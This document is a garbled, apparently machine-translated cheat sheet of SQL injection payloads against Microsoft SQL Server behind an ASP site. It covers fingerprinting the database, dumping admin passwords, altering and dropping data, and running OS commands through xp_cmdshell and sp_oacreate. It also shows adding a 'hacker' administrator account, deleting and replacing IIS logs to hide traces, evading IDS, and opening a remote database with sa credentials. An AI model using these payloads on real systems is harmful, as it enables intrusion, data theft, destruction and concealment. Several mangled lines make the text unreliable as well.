Http://www.targer.com/article.asp?action=value' and 1: 2

Searchpoints%' and 1 # 1

Determine the database type:

Http://www.targer.com/article.asp?id=6 and user > 0

Http://www.targer.com/article.asp?id=6 and (select count (*) from sysobjects) > 0

Query current user data information:

Article.asp?id=6 having 1m 1m 1m

Columns in the previous table:

Article.asp?id=6 group by admin.username having 1m 1m 1m

Article.asp?id=6 group by admin.username,admin.password having 1m 1m 1m

Arbitrary tables and columns:

And (select top 1 name from (select top N id,name from sysobjects where xtype=char (85)) T order by id desc) > 1

And (select top col_name (object_id ('admin'), N) from sysobjects) > 1

Burst database data:

And (select top 1 password from admin where id=N) > 1

Modify the data in the database:

; update admin set password='oooooo' where username='xxx'

Add data in the database:

; insert into admin values (xxx,oooooo)-

Delete the database:

; drop database webdata

Get the current database user name: and user > 0

Get the current database name: and db_name () > 0

Get database version: and (select @ @ version) > 0

Determine whether multi-sentence query is supported:; declare @ an int--

Determine whether subquery is supported: and (select count (1) from [sysobjects]) > = 0

Extended stored procedure for database: exec master..xp_cmdshell

View the server C disk directory:; exec_master..xp_cmdshell 'dir c:\'

Determine whether an extended stored procedure exists: and select count (*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

Restore extended stored procedures:; exec sp_addextendedproc xp_cmdshell,'xplog70.dll'

Delete extended stored procedures:; exec sp_dropextendedproc 'xp_cmdshell'

Some functions are provided in MSSQL2000 to access the OLE object to obtain permissions indirectly:

; declare @ s int

; exec sp_oacreat 'wscript.shell',@s

; exec master..spoamethod @ srecoveryrunwriting recordnullrecoverycmd.exeUniver c dir c:\'

Determine whether the current database user name has high permissions:

And 1 = (select is_srvrolemember ('sysadmin'))

And 1 = (select is_srvrolemember ('serveradmin'))

And 1 = (select is_srvrolemember ('setupadmin'))

And 1 = (select is_srvrolemember ('securityadmin'))

And 1 = (select is_srvrolemember ('diskadmin'))

And 1 = (select is_srvrolemember ('bulkadmin'))

Determine whether the current database user name is DB_OWNER:

And 1 = (select is_member ('db_owner'))

All the database information from the SQLSERVER database system is stored in the master.dbo.sysdatabases table of SQLSERVER. You can SELECT this table only with PUBLIC permission:

And (select top 1 name from master.dbo.sysdatabase order by dbid) > 0

And (select top 1 name from master.dbo.sysdatabase where name not in (select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid) > 0

Delete logging:

; exec master.dbo.xp_cmdshell 'del c:\ winnt\ system32\ logfiles\ w3svc5\ ex070606.log > c:\ temp.txt'

Replace logging:

; exec master.dbo.xp_cmdshell 'copy c:\ winnt\ system32\ logfiles\ w3svc5\ ex070404.log c:\ winnt\ system32\ logfiles\ w3svc5\ ex070606.log > c:\ temp.txt'

Get the WEB path:

; declare @ shell int

; exec master..sp_oamethod 'wscript.shell',@shell out

; exec master..sp_oamethod @ shell,'run',null,'cmd.exe/c dir / s d:/index.asp > c:/log.txt

Use XP_CMDSHELL to search:

; exec master..xp_cmdshell 'dir / s dbank index.asp'

Display server website configuration information command:

Cmd / c cscript.exe c:\ inetpub\ adminscript\ adsutil.vbs enum w3svc/1/root

Cmd / c cscript.exe c:\ inetpub\ adminscript\ adsutil.vbs enum w3svc/2/root

Use XP_REGREAD to read with PUBLIC permissions:

; exec master.dbo.xp_regread

Test permission SYSADMIN:

And 1 = (select IS_SRVROLEMEMBER ('sysadmin'))

Serveradmin 、 setupadmin 、 securityadmin 、 diskadmin 、 bulkadmin 、 db_owner .

Detect XP_CMDSHELL (CMD command):

And 1 = (SELECT count (*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell')

Detect XP_REGREAD (registry read function):

And 1 = (SELECT count (*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')

Detect SP_MAKEWEBTASK (backup function):

And 1 = (SELECT count (*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')

Detect SP_ADDEXTENDEDPROC:

And 1 = (SELECT count (*) FROM master.dbo.sysobjects WHERE name= 'sp_addextendedproc')

Detect XP_SUBDIRS read subdirectories:

And 1 = (SELECT count (*) FROM master.dbo.sysobjects WHERE name= 'xp_subdirs')

Detect XP_DIRTREE read subdirectories:

And 1 = (SELECT count (*) FROM master.dbo.sysobjects WHERE name= 'xp_dirtree')

Modify the content:

; UPDATE table name set field = content where 1

XP_CMDSHELL detection:

; exec master..xp_cmdshell 'dir c:\'

Fix XP_CMDSHELL:

; exec master.dbo.sp_addextendedproc 'xp_cmdshell',' xplog70.dll'

Add user hacker with XP_CMDSHELL:

; exec master.dbo.xp_cmdshell 'net user hacker 123456 / add'

XP_CMDSHELL adds user hacker to the ADMIN group:

; exec master.dbo.xp_cmdshell 'net localgroup administrators hacker / add'

Create the table test:

; create table [dbo]. [test] ([dstr] [char] (255))

Detect table segment test:

And exists (select * from test)

Where to read the WEB (read the registry):

; DECLARE @ result varchar EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ ControlSet001\ Services\ W3SVC\ Parameters\ Virtual Roots',' /', @ result output insert into test (dstr) values (@ result);--

Reveal the absolute path of the WEB (error mode):

And 1 = (select count (*) from test where dstr > 1)

Delete table test:

; drop table test;--

Create a table to view the catalog dirs:

; create table dirs (paths varchar, id int)

Add the contents of the viewing catalog to the table dirs:

; insert dirs exec master.dbo.xp_dirtree 'c:\'

Explode the contents of the directory dirs:

And 0 (select top 1 paths from dirs)

Back up the database DATANAME:

Declare @ a sysname; set @ a=db_name (); backup DATANAME @ a to disk='c:\ inetpub\ wwwroot\ down.bak';--

Delete table dirs:

; drop table dirs;--

Create the table temp:

; create table temp (id nvarchar, num1 nvarchar, num2 nvarchar, num3 nvarchar)

Add the drive list to the temp table:

; insert temp exec master.dbo.xp_availablemedia;--

Delete table temp:

; delete from temp;--

Create the table dirs:

; create table dirs (paths varchar, id int);-

Get the subdirectory list XP_SUBDIRS:

; insert dirs exec master.dbo.xp_subdirs 'c:\';-

Reveal the content (error mode):

And 0 (select top 1 paths from dirs)

Delete table dirs:

; delete from dirs;--

Create the table dirs:

; create table dirs (paths varchar, id int)--

Use XP_CMDSHELL to view the contents of the directory:

; insert dirs exec master..xp_cmdshell 'dir c:\'

Delete table dirs:

; delete from dirs;--

Detect SP_OAcreate (execute command):

And 1 = (SELECT count (*) FROM master.dbo.sysobjects WHERE name= 'SP_OAcreate')

SP_OAcreate executes the CMD command:

; DECLARE @ shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @ shell,'run',null,' C:\ WINNT\ system32\ cmd.exe / c net user hacker 123456 / add'

SP_OAcreate build directory:

; DECLARE @ shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @ shell,'run',null,' C:\ WINNT\ system32\ cmd.exe / cmd c:\ inetpub\ wwwroot\ 1111'

Create a virtual directory E disk:

; declare @ o int exec sp_oacreate 'wscript.shell', @ o out exec sp_oamethod @ o,' run', NULL,' cscript.exe c:\ inetpub\ wwwroot\ mkwebdir.vbs-w "default Web site"-v "e", "e:\"'

Make the virtual directory E readable:

; declare @ o int exec sp_oacreate 'wscript.shell', @ o out exec sp_oamethod @ o,' run', NULL,' cscript.exe c:\ inetpub\ wwwroot\ chaccess.vbs-a w3svc/1/ROOT/e + browse'

Start the SERVER service:

; exec master..xp_servicecontrol 'start',' server'

Bypass IDS to detect XP_CMDSHELL:

; declare @ a sysname set @ a 'dir c:\'

Open remote database 1:

; select * from OPENROWSET ('SQLOLEDB',' server=servername;uid=sa;pwd=apachy_123', 'select * from table1')

Open remote database 2:

; select * from OPENROWSET ('SQLOLEDB',' uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'
